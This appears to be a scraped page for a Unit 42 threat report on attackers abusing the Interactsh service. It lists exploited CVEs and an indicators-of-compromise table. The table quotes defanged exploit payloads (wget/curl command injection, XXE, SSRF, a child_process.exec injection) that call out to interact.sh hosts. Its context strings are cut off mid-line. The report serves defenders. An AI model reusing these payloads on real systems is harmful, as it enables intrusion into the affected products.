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Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes

Palo Alto Unit 42by Yue Guan, Jin Chen, Leo Olson, Wayne Xin, Daiping Liu ()6 min read3
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Vulnerabilities mentioned

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CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2016-1555
Unauthenticated Command Injection RCE in NETGEAR Business Wireless Access Points
9.898%KEVPoC
KEV
CVE-2017-12629
Remote code execution occurs in Apache Solr before 7.1 with Apache Lucene before 7.1 by exploiting XXE in conjunction with use of a Config API add-listener…
9.892%PoC ×2
CVE-2017-9506
The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers…
6.172%PoC ×3
CVE-2018-1000600
A exposure of sensitive information vulnerability exists in Jenkins GitHub Plugin 1.29.1 and earlier in GitHubTokenCredentialsCreator.java that allows…
8.891%
CVE-2018-13354
+1 related CVE
System command injection in logtable.php in TerraMaster TOS version 3.1.03 allows attackers to execute system commands via the "Event" parameter
9.823%PoC
CVE-2018-14839
Unauthenticated Command Injection RCE in LG N1A1 NAS
9.889%KEVPoC
KEV
CVE-2018-15517
The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended to check a connection to an SMTP server but actually allows…
8.644%PoC ×2
CVE-2018-16167
LogonTracer 1.2.0 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors
9.875%
CVE-2019-18394
A Server Side Request Forgery (SSRF) vulnerability in FaviconServlet.java in Ignite Realtime Openfire through 4.4.2 allows attackers to send arbitrary HTTP GET…
9.832%
CVE-2019-2616
Unauthenticated Data Access and Tampering in Oracle BI Publisher (CVE-2019-2616)
7.292%KEV
KEV
CVE-2019-2767
Vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent
7.25%
CVE-2020-13379
The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue
8.2100%PoC ×3
CVE-2020-15568
TerraMaster TOS before 4.1.29 has Invalid Parameter Checking that leads to code injection as root
9.829%PoC
CVE-2020-25223
Unauthenticated Command Injection RCE in Sophos SG UTM WebAdmin
9.897%KEVPoC ×2
KEV
CVE-2020-28188
Remote Command Execution (RCE) vulnerability in TerraMaster TOS <= 4.2.06 allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php…
9.896%PoC ×2
CVE-2020-28871
Remote code execution in Monitorr v1.7.6m in upload.php allows an unauthorized person to execute arbitrary code on the server-side via an insecure file upload
9.886%PoC ×3
CVE-2020-7247
Unauthenticated Root RCE in OpenSMTPD 6.6 (OpenBSD and Linux)
9.899%KEVPoC ×6
KEV
CVE-2020-8813
graph_realtime.php in Cacti 1.2.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has the graph…
8.874%PoC ×4
CVE-2021-27886
rakibtg Docker Dashboard before 2021-02-28 allows command injection in backend/utilities/terminal.js via shell metacharacters in the command parameter of an…
9.846%
CVE-2021-27905
The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is…
9.893%
CVE-2021-31755
Unauthenticated Stack Overflow RCE in Tenda AC11 Router via /goform/setmac
9.887%KEVPoC
KEV
CVE-2021-32819
Squirrelly: Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal…
8.858%PoC
CVE-2021-33544
Multiple camera devices by UDP Technology, Geutebrück and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute…
7.296%PoC

Indicators of compromise

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TypeIndicatorContext
domainc3167tzyedf0000sfc2ggbo7zoeyyyyyp.interactip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zoeyyyyyp[.]interact.sh/solr/gettingstarted/upload?stream.body={"xx":"yy"}&com
domainc3167tzyedf0000sfc2ggboug8cyyyyyb.interactr/solr/db/replication?command=fetchindex&masterurl=hxxp[:]//c3167tzyedf0000sfc2ggboug8cyyyyyb[.]interact.sh:80/xxxx&wt=json&httpbasicauthuser=aaa&httpbasicauthpas
domainc32s61pbq16mga0vler0cdnhgbayyyyyn.interactdule.constructor._load; require('child_process').exec('curl c32s61pbq16mga0vler0cdnhgbayyyyyn[.]interact.sh'); ( CVE-2021-32819 ) hxxp[:]//ip-addr/plugins/servlet
domainc33mg9s2ndhfbpsj7legcddsomayyyypg.interactr/plugins/servlet/oauth/users/icon-uri?consumeruri=hxxp[:]//c33mg9s2ndhfbpsj7legcddsomayyyypg[.]interact.sh (CVE-2017-9506) hxxp[:]//ip-addr/index.php/system/mail
domainc37e7sraa1psb1c2nso0cd8o9eyyyn94w.interact23) hxxp[:]//ip-addr/rest/sharelinks/1.0/link?url=hxxps[:]//c37e7sraa1psb1c2nso0cd8o9eyyyn94w[.]interact.sh hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b
domainc38at9vk6tb1j2mah7i0cdeca5yyybucs.interactbin/","args":["-c","$@|sh",".","echo","nslookup","$(whoami).c38at9vk6tb1j2mah7i0cdeca5yyybucs[.]interact.sh"]}}&wt=json&isshard=true&q=apple hxxp[:]//ip-addr/sear
domainc38r5fq23aksk1ma690gcdmc6doyyahck.interact!doctype+r+[<!element+r+any+><!entity+%+sp+system+"hxxp[:]//c38r5fq23aksk1ma690gcdmc6doyyahck[.]interact.sh/xxe.xml">%sp;%param1;]>&_xf=excel&_xl=123&template=123
domainc3jrcoqkfbhrf4rcsmr0cdu5taayynuze.interactddr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze[.]interact.sh (CVE-2020-13379) hxxp[:]//ip-addr/adm/krgourl.php?docu
domainc3qsfdg4hl24te8g7rc0cd9erqyygmui6.interact-4223) hxxp[:]//ip-addr/umbraco/feedproxy.aspx?url=hxxp[:]//c3qsfdg4hl24te8g7rc0cd9erqyygmui6[.]interact.sh (CVE-2012-1301) hxxp[:]//ip-addr/getfavicon?host=hxxp[
domainc3uhg4emp8vt8fqq370gcd6th6ayyy4b6.interacth (CVE-2012-1301) hxxp[:]//ip-addr/getfavicon?host=hxxp[:]//c3uhg4emp8vt8fqq370gcd6th6ayyy4b6[.]interact.sh (CVE-2019-18394) (CVE-2020-7247) (CVE-2018-16167) (CVE
domainc44h3el4f1mfla5idm10crrtxqyyyjpp4.interactddr/api/container/command?container=&command=;curl hxxp[:]//c44h3el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh (CVE-2021-27886) hxxp[:]//ip-addr/avatar/test?d=redire
domainc44s021vkr17popa98agcrrhyneyyyd7c.interactateselfcert&local=anything&country=aa&state=$(wget hxxp[:]//c44s021vkr17popa98agcrrhyneyyyd7c[.]interact.sh)&organization=anything&organizationunit=anything&commo
domainc45luqovk0lir2vett1gcrf4iyayy468g.interact79) hxxp[:]//ip-addr/adm/krgourl.php?document_root=hxxp[:]//c45luqovk0lir2vett1gcrf4iyayy468g[.]interact.sh (CVE-2009-4223) hxxp[:]//ip-addr/umbraco/feedproxy.asp
domainc4b14uqjfg5t9muoh3pgcrca3hoyfrbcr.interactkencredentialscreator/createtokenbypassword?apiurl=hxxp[:]//c4b14uqjfg5t9muoh3pgcrca3hoyfrbcr[.]interact.sh (CVE-2018-1000600) hxxp[:]//ip-addr/xmlpserver/convert
domainc4b14uqjfg5t9muoh3pgcrcwtheyrjn8k.interacteract.sh hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]interact.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bf
domainc4b14uqjfg5t9muoh3pgcrqz7oyykqcuq.interact17-9506) hxxp[:]//ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq[.]interact.sh/port/80/secure (CVE-2018-15517) hxxp[:]//ip-addr/api/c
domainc4bfibtmh0e03d1t5u90crcb9fayzf9dr.interactteract.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfibtmh0e03d1t5u90crcb9fayzf9dr[.]interact.sh
domainc4mqgxkyedf0000ar3d0gnkmaqayyyyyb.interact.shthe page, the web UI randomly generates an Interactsh link: C4mqgxkyedf0000ar3d0gnkmaqayyyyyb[.]interact[.]sh Figure 2. Example of using Interactsh through the Web U
domaincertmngr.cgis: Exploits Leveraging Interactsh hxxp[:]//ip-addr/uapi-cgi/certmngr[.]cgi?action=createselfcert&local=anything&country=aa&state=$(w
domaininteract.shappend attacks that use Interactsh. DNS Security has marked interact[.]sh as a malicious site. We also recommend the following acti
domainredirect.rhynorater.cominteract.sh (CVE-2021-27886) hxxp[:]//ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze[.]inter
ipv4138.68.184.2384[.]197 is flagged as potential malware in VirusTotal, and 138[.]68[.]184[.]23 is a phishing site. We also found 82[.]112[.]184[.]20
ipv482.112.184.197Cortex Xpanse data. We found three suspicious IP addresses. 82[.]112[.]184[.]197 is flagged as potential malware in VirusTotal, and 13
ipv482.112.184.206, and 138[.]68[.]184[.]23 is a phishing site. We also found 82[.]112[.]184[.]206 , flagged malicious. All three of these IP addresses
urlhttp://c3167tzyedf0000sfc2ggbo7zoeyyyyyp.interact.sh/solr/gettingstarted/upload?stream.body={hxxp[:]//ip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zoeyyyyyp[.]interact.sh/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true""><a></a>"} (CVE-2017-12629) hxxp
urlhttp://c38r5fq23aksk1ma690gcdmc6doyyahck.interact.sh/xxe.xml"1.0"+?><!doctype+r+[<!element+r+any+><!entity+%+sp+system+"hxxp[:]//c38r5fq23aksk1ma690gcdmc6doyyahck[.]interact.sh/xxe.xml">%sp;%param1;]>&_xf=excel&_xl=123&template=123 (CVE-201
urlhttp://c44h3el4f1mfla5idm10crrtxqyyyjpp4.interact.sh[:]//ip-addr/api/container/command?container=&command=;curl hxxp[:]//c44h3el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh (CVE-2021-27886) hxxp[:]//ip-addr/avatar/test?d=redirec
urlhttp://c44s021vkr17popa98agcrrhyneyyyd7c.interact.shction=createselfcert&local=anything&country=aa&state=$(wget hxxp[:]//c44s021vkr17popa98agcrrhyneyyyd7c[.]interact.sh)&organization=anything&organizationunit=anything&common
urlhttp://c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k.interact.sh94w[.]interact.sh hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]interact.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfi
urlhttp://c4bfibtmh0e03d1t5u90crcb9fayzf9dr.interact.shjn8k[.]interact.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfibtmh0e03d1t5u90crcb9fayzf9dr[.]interact.sh
urlhttp://ip-addr/adm/krgourl.php?document_root=http[:oqkfbhrf4rcsmr0cdu5taayynuze[.]interact.sh (CVE-2020-13379) hxxp[:]//ip-addr/adm/krgourl.php?document_root=hxxp[:]//c45luqovk0lir2vett1gcrf4iyayy468g[.]interact.sh (CVE-20
urlhttp://ip-addr/api/container/command?container=&command=;curlcrqz7oyykqcuq[.]interact.sh/port/80/secure (CVE-2018-15517) hxxp[:]//ip-addr/api/container/command?container=&command=;curl hxxp[:]//c44h3el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh
urlhttp://ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze.interact.shel4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh (CVE-2021-27886) hxxp[:]//ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze[.]interact.sh (CVE-2020-13379) hxxp[:]//ip-addr/adm/krgourl.php?docum
urlhttp://ip-addr/?defaultFilter=easicauthuser=aaa&httpbasicauthpassword=bbb (CVE-2021-27905) hxxp[:]//ip-addr/?defaultFilter=e')); let require = global.require || global.process.mainMo
urlhttp://ip-addr/getfavicon?host=http[:fdg4hl24te8g7rc0cd9erqyygmui6[.]interact.sh (CVE-2012-1301) hxxp[:]//ip-addr/getfavicon?host=hxxp[:]//c3uhg4emp8vt8fqq370gcd6th6ayyy4b6[.]interact.sh (CVE-20
urlhttp://ip-addr/index.php?plot=;wgethxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]interact.sh';" hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfibtmh0e03d1t5u90crcb9fayzf9dr[.]interact.sh
urlhttp://ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq.interact.sh/port/80/secureg9s2ndhfbpsj7legcddsomayyyypg[.]interact.sh (CVE-2017-9506) hxxp[:]//ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq[.]interact.sh/port/80/secure (CVE-2018-15517) hxxp[:]//ip-addr/api/container/command
urlhttp://ip-addr/plugins/servlet/oauth/users/icon-uri?consumeruri=http[:6mga0vler0cdnhgbayyyyyn[.]interact.sh'); ( CVE-2021-32819 ) hxxp[:]//ip-addr/plugins/servlet/oauth/users/icon-uri?consumeruri=hxxp[:]//c33mg9s2ndhfbpsj7legcddsomayyyypg[.]interact.sh (CVE-20
urlhttp://ip-addr/rest/sharelinks/1.0/link?url=https[:018-13338 CVE-2020-15568) (CVE-2020-28871) (CVE-2020-25223) hxxp[:]//ip-addr/rest/sharelinks/1.0/link?url=hxxps[:]//c37e7sraa1psb1c2nso0cd8o9eyyyn94w[.]interact.sh hxxp[:]
urlhttp://ip-addr/search.php?search=l=hxxps[:]//c37e7sraa1psb1c2nso0cd8o9eyyyn94w[.]interact.sh hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]intera
urlhttp://ip-addr/search?q={!xmlparserdeca5yyybucs[.]interact.sh"]}}&wt=json&isshard=true&q=apple hxxp[:]//ip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zo
urlhttp://ip-addr/securityrealm/user/admin/descriptorbyname/org.jenkinsci.plugins.github.config.githubtokencredentialscreator/createtokenbypassword?apiurl=http[:g&commonname=anything&days=1&type=anything (CVE-2021-33544) hxxp[:]//ip-addr/securityrealm/user/admin/descriptorbyname/org.jenkinsci.plugins.github.config[.]githubtokencredentialscreator/createtokenbypassword?apiurl=hxxp[:]//c4b14uqjfg5t9muoh3pgcrca3hoyfrbcr[.]interact.sh (CVE-
urlhttp://ip-addr/solr/db/replication?command=fetchindex&masterurl=http[:m.body={"xx":"yy"}&commit=true""><a></a>"} (CVE-2017-12629) hxxp[:]//ip-addr/solr/db/replication?command=fetchindex&masterurl=hxxp[:]//c3167tzyedf0000sfc2ggboug8cyyyyyb[.]interact.sh:80/xxxx
urlhttp://ip-addr/solr/select?qt=/config#&&shards=127.0.0.1:8984/solq&stream.body={p;%param1;]>&_xf=excel&_xl=123&template=123 (CVE-2019-2767) hxxp[:]//ip-addr/solr/select?qt=/config#&&shards=127.0.0.1:8984/solq&stream.body={"add-listener":{"event":"postcommit","name":"nuclei","clas
urlhttp://ip-addr/uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=aa&state=$(wgetd above). Use Case Examples: Exploits Leveraging Interactsh hxxp[:]//ip-addr/uapi-cgi/certmngr[.]cgi?action=createselfcert&local=anything&country=aa&state=$(wget hxxp[:]//c44s021vkr17popa98agcrrhyneyyyd7c[.]interact.s
urlhttp://ip-addr/umbraco/feedproxy.aspx?url=http[:uqovk0lir2vett1gcrf4iyayy468g[.]interact.sh (CVE-2009-4223) hxxp[:]//ip-addr/umbraco/feedproxy.aspx?url=hxxp[:]//c3qsfdg4hl24te8g7rc0cd9erqyygmui6[.]interact.sh (CVE-20
urlhttp://ip-addr/xmlpserver/convert?xml=jfg5t9muoh3pgcrca3hoyfrbcr[.]interact.sh (CVE-2018-1000600) hxxp[:]//ip-addr/xmlpserver/convert?xml=<?xml+version="1.0"+?><!doctype+r+[<!element+r+any+><!enti

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Recently, Unit 42 has observed active exploits related to an open-source service called Interactsh . This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers – but also by attackers – to validate vulnerabilities via real-time monitoring on the trace path for the domain.

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